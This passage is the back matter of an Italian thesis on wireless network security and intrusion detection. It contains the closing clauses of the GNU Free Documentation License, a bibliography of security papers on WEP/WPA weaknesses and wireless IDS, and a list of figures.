it individually under this License, provided you insert a copy of this License
into the extracted document, and follow this License in all other respects
regarding verbatim copying of that document.
C.7 Aggregation with independent works
A compilation of the Document or its derivatives with other separate and in-
dependent documents or works, in or on a volume of a storage or distribution
medium, is called an “aggregate” if the copyright resulting from the compi-
lation is not used to limit the legal rights of the compilation’s users beyond
what the individual works permit. When the Document is included in an
aggregate, this License does not apply to the other works in the aggregate
which are not themselves derivative works of the Document.
If the Cover Text requirement of section 3 is applicable to these copies
of the Document, then if the Document is less than one half of the entire
aggregate, the Document’s Cover Texts may be placed on covers that bracket
the Document within the aggregate, or the electronic equivalent of covers if
the Document is in electronic form. Otherwise they must appear on printed
covers that bracket the whole aggregate.
C.8 Translation 95
C.8 Translation
Translation is considered a kind of modification, so you may distribute trans-
lations of the Document under the terms of section 4. Replacing Invariant
Sections with translations requires special permission from their copyright
holders, but you may include translations of some or all Invariant Sections in
addition to the original versions of these Invariant Sections. You may inclu-
de a translation of this License, and all the license notices in the Document,
and any Warranty Disclaimers, provided that you also include the original
English version of this License and the original versions of those notices and
disclaimers. In case of a disagreement between the translation and the origi-
nal version of this License or a notice or disclaimer, the original version will
prevail.
If a section in the Document is Entitled “Acknowledgements”, “Dedi-
cations”, or “History”, the requirement (section 4) to Preserve its Title
(section 1) will typically require changing the actual title.
C.9 Termination
You may not copy, modify, sublicense, or distribute the Document except
as expressly provided for under this License. Any other attempt to copy,
modify, sublicense or distribute the Document is void, and will automatically
terminate your rights under this License. However, parties who have received
copies, or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
96 GNU Free Documentation License
C.10 Future revisions of this license
The Free Software Foundation may publish new, revised versions of the GNU
Free Documentation License from time to time. Such new versions will be
similar in spirit to the present version, but may differ in detail to address
new problems or concerns. See http://www.gnu.org/copyleft/.
Each version of the License is given a distinguishing version number. If
the Document specifies that a particular numbered version of this License “or
any later version” applies to it, you have the option of following the terms
and conditions either of that specified version or of any later version that
has been published (not as a draft) by the Free Software Foundation. If the
Document does not specify a version number of this License, you may choose
any version ever published (not as a draft) by the Free Software Foundation.
Bibliografia
[1] S. Zanero: Un Sistema di Intrusion Detection basato su Tecniche
di Apprendimento non Supervisionato, Tesi di Laurea in Ingegneria
Informatica, pp 17-52, Milano, 2001.
[2] S. Piccardi: La Gestione della Sicurezza con GNU/Linux, Technical
Report, Truelite, pp 1-25, 2004.
[3] United States Department of Defense: Trusted Computer System
Evaluation Criteria, DoD Standard 5200.28-STD, pp 9-33, 1985.
[4] D. D. Clark, D. D. Wilson: A Comparison of Commercial and Military
Computer Security Policies, 1987 IEEE Symposium on Security and
Privacy, 1987.
[5] D. E. Bell, L. J. LaPadula, Secure Computer Systems: Unified Exposi-
tion and Multics Interpretation, Research Report, Mitre TR-2997, Mitre
Corporation, Bedford, MA, 1976.
[6] National Security Agency (NSA): National Security Agency Shares
Security Enhancements to LINUX, NSA Press Release, 2001.
[7] B. Spengler: Why doesn’t grsecurity use LSM?, Technical Report,
http://www.grsecurity.net/lsm.php
[8] D. Ferraiolo, R. Kuhn: Role Based Access Control, 15th National
Computer Security Conference, 554-563, 1992.
98 BIBLIOGRAFIA
[9] B. Schneier: Computer Security: Will We Ever Learn?, Techical Report,
Crypto-Gram Newsletter, 2000.
[10] A. C. Hobbs: Locks and Safes: The Construction of Locks, Technical
Report, West Orange, NJ, 1853.
[11] J. Mogul, Digital Equipment Corporation, 1988.
[12] Act of the United States of America Congress: Uniting and Strengthe-
ning America by Providing Appropriate Tools Required to Intercept and
Obstruct Terrorism Act of 2001, Public Law 107-56, 2001.
[13] J. K. Rowling: Harry Potter and the Philosopher’s Stone, Bloomsbury
Publishing PLC, 1997.
[14] Original work based on Wireless Security of D. Wagner, Technical
Report, pp 8-15, 2002.
[15] S. Fluhrer, I. Mantin, A. Shamir: Weaknesses in the Key Schedu-
ling Algorithm of RC4, 8th Annual Workshop on Selected Areas in
Cryptography, Toronto, Canada, 2001.
[16] A. Biryukov, A. Shamir, D. Wagner: Real time cryptanalysis of A5/1
on a PC, In FSE: Fast Software Encryption, 2000.
[17] J. R. Walker: Unsafe at any key size; an analysis of the WEP
encapsulation, IEEE Document 802.11-00/362, 2000.
[18] E. Tews, R. P. Weinmann, A. Pyshkin: Breaking 104 bit WEP in less
than 60 seconds, Cryptology ePrint Archive, Report 2007/120, 2007.
[19] R. Moskowitz: Weakness in Passphrase Choice in WPA Interface,
Technical Report, Wi-Fi Net News, 2003.
[20] WPA/WPA2 Rainbow Tables from http://www.renderlab.net/projects/WPA-
tables
BIBLIOGRAFIA 99
[21] P. Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off,
Lecture Notes in Computer Science, Laboratoire de Securit et de
Cryptographie (LASEC), CH, 2003.
[22] Xirrus Wi-Fi Reference Program: Wi-Fi Encryption Demystified Poster,
Technical Report, 2007.
[23] IEEE Standard 802.11: Amendment 6: Medium Access Control (MAC)
Security Enhancements, IEEE Approved Std 802.11i, pp 57-62, 2004.
[24] National Institute of Standards and Technology: FIPS PUB 140-2, Se-
curity Requirements For Cryptographic Modules, U.S. Department of
Commerce, 2006.
[25] Cisco Systems: Secure Wireless Architectures for Federal Agencies,
White Paper, 2007.
[26] J. Epstein: 802.11w fills wireless security holes, Technical Report,
NetworkWorld, 2006.
[27] M. Kershaw: Kismet 2007-10-R1 Documentation, Development Report,
2007.
[28] S. Gordeychik: Web-style Wireless IDS attacks, Technical Report,
Positive Technologies, 2006.
[29] SecLists.Org Security Archive: RFMON detection, Mailing List
Thread, http://seclists.org/basics/2004/Jul/0044.html, Insecu-
re.Org, 2004.
[30] Google Maps API, http://www.google.com/apis/maps
[31] J. Wright: Layer 2 Analysis of WLAN Discovery Applications for
Intrusion Detection, White Paper, Johnson & Wales University, 2002.
[32] J. Wright: Detecting Wireless LAN MAC Address Spoofing, White
Paper, Johnson & Wales University, 2003.
100 BIBLIOGRAFIA
[33] L. Butti, F. Veyseet: Wi-Fi trickery, or how to secure (?), break (??)
and have fun with Wi-Fi, France Telecom Division R&D, ShmooCon
2006, Washington, 2006.
[34] C. R. Ameter, R. A. Griffith, J. K. Pickett: WHIFF – Wireless Intru-
stion Detection System, White Paper, Foundstone and Carnegie Mellon
University, 2003.
[35] P. Mateti: Hacking Techniques in Wireless Networks, Technical Report,
The Handbook of Information Security, John Wiley & Sons, 2005.
[36] ManageEngine: What is Duration Attack?, White Paper.
[37] Open Web Application Security Project: What is fuzzing,
http://www.owasp.org/index.php/Fuzzing
[38] L. Butti: Wi-Fi Advanced Fuzzing France Telecom - Orange Division
R&D, BlackHat Europe 2007, 2007.
[39] P. Biondi: Network packet forgery with Scapy, PacSec/core05, 2005.
[40] J. Wright, M. Kershaw: Extensible 802.11 Packet Flinging, ShmooCon
2007, 2007.
[41] W. G. Henrique, Intruders Tiger Team Security: ADVISORY/0206 -
D-Link Wireless Access-Point (DWL-2100AP), SecurityFocus, Security
Advisory, 2006.
[42] R. Foust: Identifying and Tracking Unauthorized 802.11 Cards and Ac-
cess Points, A Practical Approach, ;login: The Magazine of Usenix &
Sage vol. 27 no. 4, 2002.
[43] F. Adelstein, P. Alla, R. Joyce, G. G. Richard III: Physically Locating
Wireless Intruders, Journal of Universal Computer Science vol. 11, no.
1, 2005.
[44] Aircrack-ng, http://www.aircrack-ng.org/doku.php?id=tutorial
Elenco delle figure
1.1 Schema di controllo RBAC . . . . . . . . . . . . . . . . . . . . 6
2.1 Topologia di rete con DMZ . . . . . . . . . . . . . . . . . . . . 13
3.1 Stadi crittografia WEP . . . . . . . . . . . . . . . . . . . . . . 20
3.2 Vulnerabilita WEP [14] . . . . . . . . . . . . . . . . . . . . . . 22
3.3 Gerarchia delle chiavi WPA/WPA2 . . . . . . . . . . . . . . . 25
3.4 Autenticazione tramite server RADIUS [22] . . . . . . . . . . 26
3.5 Stato delle reti WLAN nella citta di Cesena . . . . . . . . . . 31
4.1 Struttura Wireless IDS . . . . . . . . . . . . . . . . . . . . . . 34
4.2 Un attacco Evil-Twin . . . . . . . . . . . . . . . . . . . . . . . 36
4.3 Architettura WIDS . . . . . . . . . . . . . . . . . . . . . . . . 39
4.4 Attacco alla rete interna . . . . . . . . . . . . . . . . . . . . . 46
4.5 Duration attack . . . . . . . . . . . . . . . . . . . . . . . . . . 49
4.6 Localizzazione con antenne omnidirezionali . . . . . . . . . . . 55
4.7 Localizzazione con antenne direzionali . . . . . . . . . . . . . . 56
4.8 Wardriving con Kismet . . . . . . . . . . . . . . . . . . . . . . 57
4.9 Dettagli della rete . . . . . . . . . . . . . . . . . . . . . . . . . 58
102 ELENCO DELLE FIGURE
4.10 Alerts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
5.1 Topologia della rete utilizzata nei test . . . . . . . . . . . . . . 62
5.2 Cracking chiave WEP128 . . . . . . . . . . . . . . . . . . . . . 66
5.3 Cracking chiave WPA . . . . . . . . . . . . . . . . . . . . . . . 68
5.4 Injection con Simple Injector su Wireshark . . . . . . . . . . . 72